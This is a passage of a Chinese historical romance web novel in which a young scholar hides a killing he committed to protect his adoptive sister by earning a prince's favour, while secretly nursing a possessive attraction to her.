姜芸薇脑海轰的一声炸开,她下意识抬手抚摸上那处地方,脑海中不受控制的回想起昨夜那些旖旎又亲密的画面。 那时候,她意识模糊不清,只能够感觉到有灼热的唇瓣在她的身上流连辗转,留下暧昧的痕迹。 姜芸薇闭了闭眼,不敢再想下去,脸颊火辣辣的烧了起来,就连水中的热气,也似乎在一瞬间变得滚烫起来了。 她拿起一块的帕子搭在脸上,长长的叹了口气。 这都是什么事啊! 姜芸薇一觉睡醒时,已经是晌午时分了,身上的酸胀疲惫感消散的差不多了,身上受伤的那些地方,她也重新上过了药。 季珣已经将午膳做好了,两人面对面坐着,沉默的吃着饭。 谁都没有说话。 屋内安静的能够听到彼此的呼吸声和碗筷碰撞的清脆声响。 姜芸薇如今还是有些不知道该如何面对季珣。 她脑袋低垂着,小口小口的吃着碗里的米饭,似乎恨不得将整个人都藏起来。 瞧着她低垂的头颅,泛红的耳尖,季珣不禁觉得有些好笑,他慢条斯理的夹了一块鸡肉放到姜芸薇的碗中,“阿姐,怎么光吃饭不吃菜,多吃些,你如今太瘦了。” 姜芸薇咬了咬下唇,“多谢阿珣。” 接下来,季珣一直不断往她碗中夹菜,姜芸薇就算是想要装鸵鸟,也没有办法。 一顿饭吃的格外漫长而又煎熬。 待到吃完饭没多久,季珣拿着碗筷去洗,院子外的木门蓦地被拍的震天响,惊的檐下雀鸟四散飞去,“开门!里面有人吗?赶紧开门!”一道冷厉的嗓音响起。 姜芸薇心中一紧,她本想置之不理,然而那敲门声却一声接着一声,如同催命符一般,越来越急促响亮,她的心在胸腔怦怦直跳。 “隔壁的人在家没?”男子浑厚的声音再次响起。 “在呢,刚回来不久,我亲眼看着他们姐弟回来的。”许娘子的声音从隔壁清晰的传了进来。 这下,姜芸薇就是想要再装死也不行了,她心一横,脚步沉重的走上前,将院子门打开一条窄窄的小缝,只见一个穿着官服,腰间配着长刀的中年男子正站在门外。 一瞧见姜芸薇,他便冷声呵斥道:“怎么这么晚才来开门?”语气之中充满了杀意。 姜芸薇何时见过这阵仗,吓得一颗心都快要从嗓子眼里蹦出来了,她掌心沁出了一层冷汗,脸上露出个软和的笑,不好意思的说道:“官爷,方才我在屋中睡觉,没有听到。” 第26章 第26章 阿姐,我保证,很快就回来…… 见她脸色苍白, 一副柔柔弱弱的模样,那官差语气和缓了几分,“有个叫季珣的学子可是住在这里?” 姜芸薇心胆俱裂, 指尖止不住的发颤, 却不得不勉强维持镇定,“他是我弟弟,不知官爷找他所为何事?” 官差面露不耐之色, 低声呵斥, “问那么多做什么,这不是你一个小娘子能够打听的!” 姜芸薇吓得身子哆嗦了一下, 她颤抖着嗓音,强颜欢笑道:“官爷, 我弟弟他秋闱考试在即, 恐怕无暇分身, 有什么事情, 不如我代替他去吧。” “少废话, 赶紧叫季珣出来,你若是再妨碍公务,当心我对你不客气。”话毕,他冷着脸晃了晃手中的长刀。 瞥见刀刃一闪而过的寒芒,姜芸薇吓得脸色煞白,身子踉跄了一下。 官差杀气腾腾,来者不善, 她如何能够放心让季珣跟他们离开。 恐怕这一去,定然是凶多吉少。 她张了张口,正要谎称季珣不在家中,将官差给打发走。 话还没说出口, 便见身后的屋内传来一道冷清的嗓音,“在下便是季珣。” 闻言,姜芸薇心中一紧,连忙回头看去。 眼看着季珣正要走过来,她心急如焚,情急之下,竟一把拉住他的手腕,拼命给他使着眼色。 季珣目光掠过被她握住的手。 她的手白皙、纤细、因为用力而指节泛白。 似乎稍微用些力气,便能够折断它。 他能够感觉到,这双手正在害怕的发抖。 因为担心他。 思及此,一股隐秘的愉悦从心头窜起,季珣唇角绽出抹安抚的笑,就连嗓音都放的极其低柔,“阿姐,别担心,我去去就回。” “阿珣。”姜芸薇想要阻拦,张了张唇,却不知该说些什么。 她眼尾泛起一层薄红,眉峰紧紧蹙着,看着他的眼神中,满是焦灼和担忧。 季珣眸光深深的凝望着她,里面翻涌着姜芸薇看不懂的情绪。 他蓦地展开双臂,将她揽入怀中,下巴搁在她柔软的发顶,亲昵的轻轻蹭了蹭,“阿姐,我保证,很快就回来。”他说话时,胸腔微微震颤,气息滚烫的落在她的耳边。 姜芸薇一怔,似是没有料到季珣会做出这般孩子气的动作。 待到她回过神来时,少年已经走到了官差身旁,又恢复了一贯清润明净的模样,“走吧。” * 季珣离开后,姜芸薇心中越发惴惴不安。 她独自一人回到屋中,坐立难安。 为了稳定心神,只好随手拿起一旁绣到一半的帕子,心不在焉的继续绣了起来。 方源乃是乡绅之子,而他们只是平头百姓。 眼下季珣被带走了,倘若衙门真查到他是杀人凶手,方家定然不会善罢甘休。 季珣恐怕难逃一死。 一念及此,指尖忽然一偏,银色的针尖扎进指腹中,殷红的血珠立刻渗了出来,滴在洁白的帕子上,洇开一小片红渍。 姜芸薇怔怔地看着那一点猩红,眼泪蓦地涌了出来。 自责和悔恨的情绪,沉甸甸的压在心头,令她几乎快要喘不过气来。 都是因为她,倘若不是为了救她,季珣也不会杀人,他如今不过才十四岁,前些时日还在院试中拔得头筹,他有光明的未来,不能就这么死了,她就算是拼尽这条性命,也要救下他。 一直等到了傍晚时分,季珣依旧没有回来,姜芸薇心急如焚,正在这时,院子外面突然响起了几道“砰砰”的敲门声响。 她心中一喜,连忙飞奔出去,将院子门给打开。 然而,在看清屋外站着的人时,脸上的笑容顿时僵住了,心中失落无比。 不是季珣回来了,是许娘子。 见姜芸薇神色恹恹,许娘子诧异道:“姜姑娘,你这是怎么了,为何失魂落魄的?” 姜芸薇打迭起精神,勉强笑了笑,“没什么,许娘子你找我有事?” 许娘子挠了挠头,有些不好意思,“你身子好些了没?我是来向你道歉的,昨日我不该放任你一个人离开,还好你没出什么事情,否则我真是罪过大了。” 这些话,方才姜芸薇刚回来的时候,她就想说了,然而碍于季珣站在一旁,许娘子有些怵他,便没有说出口。 姜芸薇连忙道:“这怎么能够怪你呢,也是我自己不够谨慎。” 许娘子拍了拍胸口,心有余悸,“你不知道我真是担心死了,最近镇上不太平,盗匪猖獗,听说京城还特意派了大官来剿匪,我生怕你被那些歹人掳走,还好你如今平安无事的回来了,对了,究竟是谁将你给骗走的?你后来又是如何逃出来的?” 姜芸薇眼神微闪,低声嗫喏道:“我也不知晓那人是谁,我途中发现不对劲,便逃跑了,结果不小心在山中迷路了,后来幸好阿珣寻到了我。”这还是她第一次对许娘子说谎,心跳的有些快,脸颊也有些发烫。 好在许娘子并没有怀疑她,只是若有所思的点了点头,“季公子确实非常关心你,你不知道,昨天发现你失踪,他那个眼神,冷冰冰的,简直像是要杀人。” 姜芸薇被她这番话给逗笑了,心中焦灼的情绪也随之被冲淡了几分,“许娘子说笑了,阿珣他虽然平日里看着寡言少语不好接近,其实却是个面冷心热的。” 面冷心热? 姜芸薇这是对季珣有什么误解吗? 回想起季珣那日充满杀意的眼神,许娘子不自觉打了个寒颤,看着姜芸薇恍若琉璃般清澈的眼眸,她神色复杂的叹了口气,语重心长的说道:“姜姑娘,有些话我不知晓该不该说,这些日子相处,我一直把你当妹妹看待,你心思单纯,又太过良善,这样很容易吃亏的,况且,你年纪也不小了,是时候该考虑自己的终身大事了,你和季公子关系再亲厚,他也只是你的弟弟而已,又不能够陪你一辈子,你得多为自己打算!” 姜芸薇睫毛颤了颤,她抬起头,欲言又止,“多谢许娘子,我知晓的,”顿了顿,又闷声道:“我并非不在意自己的终身大事,只是想要等到阿珣他学业有成后,再来考虑这些事情……” 许娘子指尖戳了戳她的额头,一副恨铁不成钢的语气,“哎呀,你真是糊涂!等到那个时候,你都多大了?还要不要嫁人了?” 姜芸薇眼眸明若秋水,她的语调平缓却又坚定,“许娘子,我知晓你是为了我好,然而,季母对我有救命之恩,又养育我长大,恩同再造,我这辈子都无法偿还,季珣是我的弟弟,他几次三番救我于水火,母亲早逝,如今只剩下我们姐弟两人相依为命,倘若没有亲眼看到阿珣功成名就,我又如何能够放心去成亲呢?相信母亲九泉之下,也不会原谅我的。” 许娘子被她澄澈明亮的眸光所摄,半晌都没有应声,良久后,才长长叹了口气。 * 待到许娘子离开后,已经快到戌时了,季珣依旧没有回来。 姜芸薇那颗躁动不安的心,反而逐渐平静了下来。 她走到屋内,打开放在柜中的木盒,里面装满了碎银子,在烛光下泛着一层温润冷冽的光泽。 这些银子,还是之前从陈掌柜那得来的。 想当初,她遭陈掌柜欺凌,也是季珣替她出头,才总算是让那等下流无耻之人得到了应有的报应。 阿珣待她这般好,如今他被自己连累,于情于理,姜芸薇都必须救他。 想到这里,姜芸薇眸中闪过一抹决绝之色。 她小心翼翼的将碎银子揣在身上,紧接着,又提了盏灯笼,朝着屋外走去。 屋外夜色沉沉,远山近树都融在一片浓黑之中,只能够看到一个模糊的剪影,天上一弯明月,透出些许朦胧的白光,万物似乎都被蒙了一层皎洁的白纱,姜芸薇提着灯笼,独自一人走在街上。 他们赁的院子比较偏远,靠近山间,此处人烟稀少,姜芸薇一路上 都没有看到什么人,她循着记忆,朝着青阳镇衙门的方向走去。 眼看着再拐过几条小巷就要到了,突然听见身后传来细碎的脚步声,姜芸薇心中一紧,下意识的屏住了呼吸,回头看去。 只见一条黑色的野狗正跟在她的身后,双眼发直的盯着她,嘴角还流着涎水。 姜芸薇心脏狂跳,几乎要撞出胸膛,她下意识的往后退了两步,一脸戒备的盯着它。 那野狗眼神凶戾,冲着她龇牙咧嘴,露出猩红的牙龈。 她浑身发颤,牙关紧咬,手指紧紧掐着掌心,在心中默念道:“冷静,冷静,阿珣还在等着你去救他。” 想到这,姜芸薇逐渐冷静下来,她慢慢弯下腰,捡起地上的一块大石头,朝着野狗身后的方向用力掷去。 野狗果然被吸引,转过身朝着石头的方向狰狞地扑了过去。 见状,姜芸薇不敢耽搁,连忙拔腿就跑,直到感觉到那野狗并未追赶上来,才停了下来,后背早就已经惊出一身的冷汗。 又走了约摸一盏茶功夫,才总算来到了青阳镇衙门。 暮色沉沉,朱漆大门紧闭,铜环在夜色中透着冷硬的光,门口一对石狮子分立左右,在夜色中恍若蛰伏的巨兽。 第27章 第27章 阿姐,抱歉,又让你担心了…… 姜芸薇犹豫了半晌后, 深吸一口气,走上前,扣响了门上的铜环。 等了半天, 才有一个穿着官服的衙差前来开门, 那人扫了姜芸薇一眼,神情不耐的摆手,“今日已散衙, 有什么事情明日再来。” “官爷。”姜芸薇叫住他, “我是来寻我弟弟的,他今日被你们官府的人带走了, 至今未归,他是云隐书院的学子, 不知道官爷可有印象?” “没印象。”那衙差想也不想, 便不耐烦道。 “官爷。”姜芸薇连忙取出一块碎银子, 塞到那衙差手中, 好脾气的笑道:“您再仔细想想, 我弟弟他生的高大俊秀,很好认的。” 瞧见手中白花花的银子,衙差脸色这才和缓了几分,他拧眉想了想后,道:“今日下午确实有个俊秀的小郎君来过,好像是叫季什么……” 姜芸薇双眸一亮,“对, 他正是我弟弟,不知他现在身在何处?” 衙差:“他不在这,他被贵人叫去了。” 姜芸薇心中一沉,“贵人, 什么贵人?” 衙差看她一眼,“京城来剿匪的贵人,指名道姓要见你弟弟。” 闻言,姜芸薇脑海中紧绷的弦骤然松懈下来,幸好,不是因为方源被杀一事。 想到这,她握紧了拳头,放柔了声线,故作不经意般问道:“官爷,我听闻昨日青阳镇发生了命案,不知道凶手抓住了没有?” “还没呢!”提起此事,衙差脸上露出躁郁之色,这几日,恰好有京城的贵人来青阳镇,结果偏偏这个节骨眼上却出了命案,县令大发雷霆,命令他们三日之内必须破案,他正为此事头疼着呢! 姜芸薇悄悄松了口气,她脸上堆出抹笑,“官爷,可否告知我贵人的住所?” 衙差冷笑一声,“贵人的住所岂是你能够打听的,倘若惊扰了贵人,你怕是有九个脑袋都不够砍的。” 姜芸薇柔声,“官爷,我只是想寻我弟弟,定然不会惊扰贵人的。” 见她双目盈盈,一副娇娇怯怯的模样,看着也不像是个胆子大的。 衙差“啧”了一声,“罢了,你这小娘子倒是重情重义,我告诉你也无妨,贵人如今正住在我们县令之前置办的宅院里,你沿着这条巷一直走,约莫百十来步,见着那扇黑檀木大门,便是了。” “多谢官爷。”姜芸薇道谢。 * 已近戌时,窗外一片漆黑,清风苑内燃着八角垂珠紫檀宫灯,照的屋内亮如白昼,架上摆着的鎏金狻猊熏炉中,正袅袅吐着云纹般的白雾。 临窗处摆了一张汉白玉茶桌,秦煜坐在桌边,指尖漫不经心地拨弄着面前的白玉茶盏,“上次多亏了先生献计,此次才能够成功剿匪,今日特意派人将先生唤来,正是为了向先生致谢。” 季珣端起面前的茶盏,浅啜一口,茶香在唇齿间萦绕,饱满馥郁,他从容应道:“公子客气了,盗匪猖獗,烧杀劫掠,无恶不作,我身为大晋子民,自当为国分忧。” 少年生的俊美出尘,如芝兰玉树般,身上自有一股矜贵高雅的气质,压根不像是出身乡野之地的普通书生,便说是王孙贵族,恐怕也有人信。 前些时日,这少年主动找上门来,说是要献计剿匪,秦煜原本将信将疑,直到用了他的计策后,那些盗匪果真被一网打尽。 想到这里,秦煜看向他的目光之中多了几分审视,“听闻先生上次在青阳镇院试中拿了第一的名次?” “侥幸罢了。”季珣声静如水。 见他始终不卑不亢,秦煜眸中不由多了几分赞许,他自小就在波澜诡谲的皇室中长大,见多了那些阿谀奉承之辈,倒是鲜少遇到年纪这么小,性格便如此沉稳的。 此子将来定非池中之物。 思及此,秦煜笑道:“你秋闱在即,倘若此次中了举人,明年春天便可以来京城参加会试,你此次助我剿匪有功,我可许你一个愿望,先生可有什么心愿?” 季珣抬起眼帘,朗声道:“实不相瞒,在下确实有一个心愿,。” 秦煜并不意外,“先生尽管开口。” 季珣起身离席,郑重行了一礼。继而,他抬起头,目光清正:“公子,草民想要状告青阳镇乡绅豪强方氏,这些年来强占民田,欺男霸女,百姓求告无门,敢怒不敢言。” 他声音不大,却字字清晰,掷地有声,“草民恳请公子,彻查青阳镇乡绅豪强,整顿吏治,为民除害,肃清地方,还百姓一个朗朗乾坤。” 话音落下,屋内霎时静的落针可闻,秦煜一脸讶异的望着他。他原本以为,这个少年所求,必定和功名利禄有关,毕竟十年寒窗苦读,一朝金榜题目,几乎是每个学子的心愿。 然而季珣方才所言,却令秦煜大感意外。这个少年所求竟然不为一己之私,而都是为了黎明百姓! 这样一颗赤子之心,实在是难能可贵。 秦煜踱步上前,亲自将他搀扶起来,“先生如此胸怀大义,我自当应允。” “多谢公子。”季珣诚挚道谢。 自从上次在客栈看到秦煜后,他便主动找上门,献上剿匪之策。秦煜这个人素来赏罚分明,定然会论功行赏,如今这一切,皆在他的掌控之中。 方源竟然敢觊觎姜芸薇,仅仅只是一剑了结他,未免也太便宜了他了。 季珣垂下眼帘,掩去眸中一闪而过的阴翳。 他要让整个方家,都付出惨痛的代价。 况且,他如今在青阳镇无权无势,他需要秦煜的赏识。 他杀死方源之事,早晚会被查到,他非常了解青阳镇县令的性格,此人软弱无能,只知阿谀奉承,如今他得到了秦煜的另眼相看,县令也会敬他三分,只要方家一垮,方源之死,便再也没人会去深究了。 正在这时候,一个侍卫打扮的男子突然走了进来,低声禀报道:“公子,外面有位姑娘,说是来寻他的弟弟。” “哦?”秦煜挑了挑眉。 季珣眸光微闪,“公子,想必是我久未归家,阿姐担心,所以寻来此处了。” 秦煜听后,忍不住心生感慨,“先生和姐姐感情真好。”他生在皇室,身边到处充斥着勾心斗角,尔虞我诈,倒是很难像寻常普通百姓一样,体会亲情的滋味。 季珣轻声道:“父母早逝,如今世上唯有阿姐一个亲人,自然感情要深厚些。” 秦煜看了一眼窗外漆黑的天幕,“不知不觉间,竟然已经这么晚了,今日和先生相谈甚欢,待来日先生金榜题目,我们再金殿相见。” 季珣莞尔一笑,“承公子吉言,在下必当努力。” * 看着季珣离开的背影,秦煜眸中多了几分兴味。 他能够看得出来,这位少年自从来了以后,始终神情平静,无波无澜,像是什么事情都无法引起他的情绪波动。 然而,在侍卫进来禀告他的阿姐寻来时,他却明显开始变得有些心不在焉了。 真没想到,这位少年的软肋,竟然是他的阿姐。 果然是个重情重义之人。 * 季珣走到宅院门口时,远远的便瞧见了立在廊下等候的女郎。 夜凉如水,四下一片昏暗,姜芸薇手中提着一盏竹骨纱灯,昏黄的光晕在她面上镀上一层柔和的光晕,晚风拂过,她的衣袂轻轻扬起,恍若要乘风远去。 看着她在寒风中单薄的身影,那一刹那,季珣清晰的感觉到,心口恍若被什么东西轻轻撞了一下,紧接着,弥漫开一片酸涩的柔软。 “阿姐。”季珣轻轻唤了一声。 姜芸薇猛的抬头,待看到季珣好端端站在自己面前时,连日以来的担忧、恐慌、惊惧瞬间土崩瓦解,她快步上前,仰头望着他,眼眶酸涩,眼泪不自觉便簌簌落了下来,她哽咽道: “阿珣,你没事,真是太好了。” 她晶莹的泪水,恍若滚烫的岩浆,不偏不倚的砸在他的心头。 季珣喉间发紧,他情不自禁的抬起手,微凉的指腹轻轻拭去那点湿意,“阿姐,抱歉,又让你担心了。” 第28章 第28章 阿姐,我能抱你一下吗?…… “没事就好。”姜芸薇嗓音带着浓浓的鼻音, 她捂着嘴,极力压抑住从喉间溢出的细碎呜咽声。 她觉得自己好没用,遇到事情只会掉眼泪, 不仅帮不上弟弟的忙, 还总是连累他。 这样想着,眼泪反而控制不住落得更凶了,砸在衣料上洇开一小片湿痕。 姜芸薇压抑的啜泣声, 恍若一根细针, 一下下扎在季珣的心上。 往日里掌控全局的冷静荡然无存,他心中蓦地翻涌起一阵浓烈的戾气。 好想杀人! 将那些令她落泪的人和事, 通通从这个世界上抹除掉,只有这样, 才能平息他胸腔中不断滋长而出的暴虐嗜血欲。 心口处像是被滚烫的烙铁熨过, 又疼又燥, 他嗓音发涩, “阿姐, 莫要再哭了。” 脑海中有个念头在疯狂的叫嚣着:想要狠狠将她揉入怀中,用嘴唇吻去她眼角冰凉的泪水。 这妄念烧得他双目泛红,呼吸发颤。 然而脚步却像是被钉子钉在了原地,无法动弹,紧握的双拳因为太过用力而骨节泛白。 姜芸薇抬手胡乱擦了擦眼泪,她勾起唇角,牵出一抹浅浅的笑意, “对不起,阿珣,看到你没事,我一时太激动了, 便忍不住掉了眼泪,让你看笑话了,时候也不早了,我们快些回去吧。” 她的眼圈还红着,长长的睫毛被泪水打湿,黏成一缕一缕,就连鼻尖都泛着薄红,在凄清月光下,恍若一株被春水打湿的梨花,多了几分让人心尖发颤的艳色。 季珣喉结剧烈的滚动了一下,他接过姜芸薇手中提着的竹骨纱灯,竭力让声音听起来平稳如常,“嗯,我们回家。” * 秦煜办事效率很高,次日便开始大刀阔斧的调查方家欺压百姓、鱼肉乡里一事,县令得知此事后,吓得心惊肉跳,惶惶不安。 方家之所以敢多年来肆无忌惮的在青阳镇横行霸道,强占良田,离不开衙门的包庇和遮掩。 这些年来,他已经数不清收受了方家多少贿赂,倘若真要查起来,方家不死也要被扒层皮,而他这县令定然也脱不了干系,轻则丢官罢职,重则身陷囹圄。 县令每日提心吊胆,方源的案子自然而然也就被搁置在一旁,如今方家都泥菩萨过江,自身难保了,又有谁会去在意一个方源的死因呢? 而对于这些事情,姜芸薇丝毫不知情,再过几日,便是乡试的日子了,近来,书院下学也越来越迟,季珣几乎每天都要到傍晚时分才能够回来,姜芸薇心疼他读书辛苦,每日都变着法子给他做滋补的药膳。 暑气渐消,一眨眼便到了八月,院中秋桂已经染上了一点嫩黄,空气中浅香浮动,今日便是季珣离开青阳镇,去省城贡院参加乡试的日子了。 天还未亮透,青灰色的天际只透出一线微光,姜芸薇便已经将行囊都收拾好了,分明去省贡院参加乡试的人乃是季珣,她却紧张的一晚上都没怎么合眼。 包袱里鼓鼓囊囊,里面装着换洗衣衫、厚底鞋子,路上吃的干粮点心,提神醒脑的薄荷脑,治头疼脑热的药丸,以及一大袋碎银子。 但凡她能够想到的东西,全都装进去了,甚至反复确定了好几遍,并没有什么遗漏的,这才稍稍松了口气。 姜芸薇原本有许多事情想要叮嘱,然而话到嘴边,却只剩下了一句,“阿珣,路上当心些。” “阿姐放心。”季珣神色倒是分外平和,不见丝毫紧张之色。 姜芸薇突然从袖中取出一枚平安扣,“对了,阿珣,这个平安扣,你戴在身上,希望它能够护你顺遂,平平安安。” 季珣低头看去。 只见她的手中正捏着一块白玉平安扣,玉扣莹白透亮,正中穿了根细细的红绳,这艳丽的颜色,越发衬托的她的手指格外的白,恍若新剥的嫩笋尖,白的细腻通透。 红色的流苏穗子从她的指缝间垂落,在半空中悠悠晃动,季珣的心便也跟着晃了晃。 季珣靠近了几步,他高大的身躯投下大片阴影,将姜芸薇娇小的身躯完完全全笼罩其中,“阿姐,不如你帮我戴上吧。” “好。”姜芸薇没有多想,点了点头。 她捏着红绳顶端,微微倾身,毫无防备的凑近,抬手将红绳往他的腰间系去。 她俯下身子时,鬓边碎发滑落,垂在颊侧,有几缕擦过季珣的手背,恍若被一片羽毛拂过般,泛起一阵细微的痒意。 两人靠的极近,姜芸薇身上的幽兰气息又铺天盖地的涌了过来,犹如无形之障,若有似无的浮在身畔,缠的人无端心底发慌。 季珣深吸一口气,克制住将她拥入怀中的冲动,他垂眸,目光一寸寸的扫过她的眉眼、脸颊、眸底的平和温润尽数褪去,只剩浓得化不开的占有欲。 她系得专注,指尖偶尔不经意蹭过他腰侧的衣料,轻的像是羽毛拂过,然而,季珣却觉得那里像是被火星燎过般,泛起一阵滚烫的热意,喉结不受控的轻滚,就连呼吸都倏地沉了几分。 而这些,姜芸薇却浑然不觉,她系好平安扣后直起身,面上露出抹清甜的笑意,声若银铃,“好了,阿珣,希望它能够保佑你。” “定然会的。”季珣低垂着眼睫,指尖轻轻抬起,动作缓而慢的摩挲着平安扣垂下的红色穗带,柔软的绳线在他白皙修长的指尖辗转,每一次摩挲都带着几分缠绵缱绻的意味,恍若透过这冰冷的穗带,能够触到姜芸薇方才指尖的温度。 姜芸薇柔声道:“阿珣,时候也不早了,你早些出发吧,到了那里,该花钱的地方就花钱,不必节省,家中银子够用的。” 季珣默默凝视她片刻,眸中翻涌着惊涛骇浪,最终却归于平静,他垂下眼帘,“我知晓的,阿姐不必忧心。” 姜芸薇叹了口气,没有多言。 季珣性子沉稳,似乎该叮嘱的都叮嘱完了,她也实在是不知道该说些什么了,在心中喟叹一声后,她抬起头,眸中满是不舍,“那阿珣,我等你回来。” 话毕,眼眶微微发热,她连忙别过脸,抬手匆匆擦了擦,生怕季珣看到她的失态。 明明知晓季珣已经能够独当一面,然而一想到他要远赴省城应试,便忍不住心生忐忑担忧,生怕他遇到什么意外。 看着她眼角的湿意,季珣心尖泛起一丝细微的钝痛,像是被一根细小的银针扎了下,他突然嗓音极轻的开口,“阿姐,我能抱你一下吗?” 姜芸薇愣了一下,抬头瞧见季珣一脸认真的神情,这才确定自己方才并没有听错。 紧接着,她不禁觉得有些好笑,看来季珣无论外表表现的多么成熟懂事, 内心却也会有脆弱的一面,他毕竟只是个十五岁的孩子,秋闱在即,难免会觉得紧张,对她这个姐姐产生依恋,也是人之常情。 这样想着,姜芸薇毫不犹豫的点了点头,“当然可以。” 她话音刚落下,季珣便缓步上前,将她拥入怀中,他的动作轻柔而又克制,似乎害怕惊扰了什么,然而箍着她腰肢的力道,却一寸寸逐渐收紧。 鼻尖满是她身上馥郁的幽兰香气,他贪婪地呼吸着她身上的味道,这气息恍若一阵柔和的春风,将他胸腔躁动不安的心吹得平静下来。 隔着一层单薄的衣衫,怀中温香软玉的触感如此真实,令他贪恋不愿放手,然而,宛若饮鸩止渴般,越是贴近,心底深处那一丝隐秘的渴望便越发疯长,藤蔓般缠的他心头发紧,催生出更深的妄念。 他想要的,还远不止这些。 季珣的手指不自觉越收越紧,似是想要将她融入骨血之中。 “阿珣。”姜芸薇几乎快要喘不过气来,她轻轻挣了挣,低声呢喃。 季珣这才松开双臂,垂眸望着她,黑眸似化不开的浓墨,深不见底,“阿姐,我走了。” * 季珣离开后,姜芸薇逐渐觉得有些不太适应。 并不算大的宅院恍若瞬间被抽走了人气,屋内冷冷清清的,愈发空旷了,她的心里头也空落落的发慌。 每日吃饭的时候,她还是下意识的摆放两副碗筷,然而对面的凳子上却始终空无一人,就连碗筷碰撞的声音,都显得格外的清寂。 好在,隔壁的许娘子经常来陪她。 两人坐在一起,做做针线活,再说说闲话,不知不觉间,一日很快便过去了。 随着时间的流逝,那份浓烈的孤寂空落感也逐渐淡了些。 这日,姜芸薇独自一人在街上买菜,肩膀突然被人拍了拍,身后传来一把清亮的嗓音,“请问是姜娘子吗?” 姜芸薇惊讶的回头望去。 只见身后站着一个身着藏青色绸缎暗纹褙子,下配深灰色布裙,头发梳成圆髻,看上去四五十岁左右年纪的嬷嬷,她的面庞圆润,眉眼间带着三分笑意,是分外有亲和力的长相。 “敢问嬷嬷是?”姜芸薇讶然。 “姜姑娘,我是青阳镇县令府中的,我家夫人想邀你过府一叙。” 第29章 第 29 章 纳进府中做个妾室 一路上, 姜芸薇都分外忐忑。 她想不明白,县令夫人为何突然要见她?莫不是因为方源的案子?然而很快,她便在心中否定了这个猜测。 听说方家强占良田, 纵容家中恶仆为祸乡里, 方家大爷已经被下狱,家中仆从也早就跑的跑,散的散, 方家府邸如今变得门可罗雀, 不复昔日荣光。 这个节骨眼下,又有谁会去在意方源的死因呢! 那么, 县令夫人究竟为何寻她呢?姜芸薇百思不得其解。 她纠结半天,终是忍不住问出了心中的疑惑, “这位嬷嬷, 敢问县令夫人为何要见我?” 嬷嬷笑容可掬, 一番话说的滴水不漏, “姜娘子去了就知晓了, 主人家的事情,不是我们这些做下人的能够置喙的。” 姜芸薇只好不再多言。 大约半个时辰后,马车稳稳停在县令府宅院的大门口。 嬷嬷静候在马车旁,殷勤的递过手来搀扶她。 姜芸薇有些不太习惯,却也没好意思开口拒绝。 嬷嬷引着她径直往里走,院落宽阔宏大,白墙黛瓦, 竹影摇曳,地面铺着青石板,曲径通幽,分外雅致, 再往前走,便能够看到一方活水引入的池塘,池岸以湖石堆砌,池中几尾金色锦鲤正悠闲的游弋摆尾,在水面溅起层层涟漪。 嬷嬷顿住脚步,语调温和,“姜姑娘且随我来,夫人已经在花厅候着了。” 姜芸薇颔首跟上。 穿过垂花门,便来到了待客的花厅,花厅四面轩窗,日光从窗棂缝隙间照耀进来,在木质地板上洒下一地斑驳的光影,正中八仙桌上,已经摆好了精致的糕点和一套素雅的青花瓷茶具,茶烟袅袅,在空气中氤氲散开。 县令夫人坐在桌边等候,闻声抬头看了过来。 她看上去似乎只有三十岁左右,身上穿着一件霞光紫的云锦褙子,发髻上累丝金凤衔珠步摇振翅欲飞,唇上点了时兴的胭脂色口脂,鲜艳欲滴,手腕上戴着金累丝镂雕花纹金镯,姿容艳丽,华贵夺目。 她手中捏着一方大红色绣帕,瞧见姜芸薇进来,便笑着站起身相迎,“姜姑娘,早就听闻过你的芳名,今日一见,果真是个清丽脱俗的美人胚子。” 姜芸薇连忙敛衽行礼。 县令夫人亲自将她搀扶起来,脸上笑吟吟的,声音柔的像是浸了蜜,“不必多礼,快过来坐。” 姜芸薇有些受宠若惊,她局促的拢了拢鬓边的碎发,僵硬的走到县令夫人对面的椅子上坐了下来,“不知夫人找我何事?” 县令夫人言笑晏晏,“听闻令弟之前在院试中拿了案首,夫君时常在我耳边夸他有栋梁之材,大有栽培之意,如今令弟去省贡院参加乡试,我担心姜姑娘一个人在家中憋闷,便自作主张,派下人将你请来府中一叙,姜姑娘不会怪我唐突吧?” “自然不会。”姜芸薇连忙摆了摆手,嗫喏道。 “那就好。”县令夫人将面前的茶盏推过去,笑的分外亲切,“刚泡好的雨前龙井,姜姑娘快尝尝。” “多谢夫人。”姜芸薇低眉顺眼,嗓音轻柔的像是一团云。 面前的青花瓷茶具蓝白相映,釉色温润,花纹精致细腻,里头盛着的茶汤澄澈碧绿,几片嫩芽浸在茶汤里浮浮沉沉,清雅的茶香袅袅升起,漫过鼻翼,浸润心肺。 看着面前精致的茶盏,姜芸薇手指绞着袖口的衣襟,迟迟没有端起杯子。 家中喝的都是粗茶,用的也都是普通的碗,她还从未见过这么好的茶,也不懂大户人家的饮茶规矩,怕自己太过小家子气,平白惹人笑话,连带着丢了弟弟的脸面。 将她的局促不安看在眼里,县令夫人眸中闪过一抹嫌恶,转瞬即逝,到底是乡下出来的,浑身上下都透着一股子穷酸气,身上穿着的衣服料子,甚至还不及府上丫鬟的。 真是不明白,为何老爷非让自己设法和这样一个乡下丫头交好,难不成就因为她有个脑子好会读书的弟弟? 若不是老爷发了话,自己怕是连正眼都不会瞧她。 看她这寒碜样,想必这辈子都没有喝过这么好的茶。 县令夫人一边想着,一边抬手执起面前的茶盏,用杯盖轻轻撇去浮沫,继而缓缓送至唇边,浅浅啜饮一口,举手投足间姿态分外优雅。 她掩去眸中的鄙夷之色,笑道:“姜姑娘怎么不喝?茶凉了,就不好喝了。”顿了顿,又莞尔一笑,“瞧我,真是糊涂了,姜姑娘平日里或许没机会喝这些茶,若喝不惯,不如我让丫鬟换些清茶来?” “不必麻烦的。”姜芸薇如坐针毡,她红着脸小声道。说着,手忙脚乱的端起面前的茶杯,由于太过紧张,杯盖与杯沿发出轻微的磕碰声,在寂静的屋内分外清晰,她的脸颊也瞬间火辣辣的烧了起来。 县令夫人用丝帕按了按唇角,脸上笑意不减,“姜姑娘想必饿了吧,快吃些点心垫垫肚子吧。” 姜芸薇放下茶杯,看向桌上描金食碟中摆放着的点心:桃花酥形似桃花,绿豆糕色泽翠绿如碧玉,云片糕洁白如雪,个个精巧剔透,精致的像是摆件。 都是她平日里压根接触不到的。 俗话说,拿人手软,吃人嘴短,姜芸薇只看了一眼便收回视线,她摇了摇头,小声道:“多谢夫人,我不饿的。” 县令夫人也没勉强,她面上露出抹亲切的笑,“姜姑娘不必客气,实不相瞒,我做梦都想有个像你这般乖巧的女儿,可惜,膝下唯有一个不成器的儿子,命中注定没有女儿缘,姜姑娘若是不嫌弃的话,可以经常来府中坐坐,陪我说说话解解闷。” 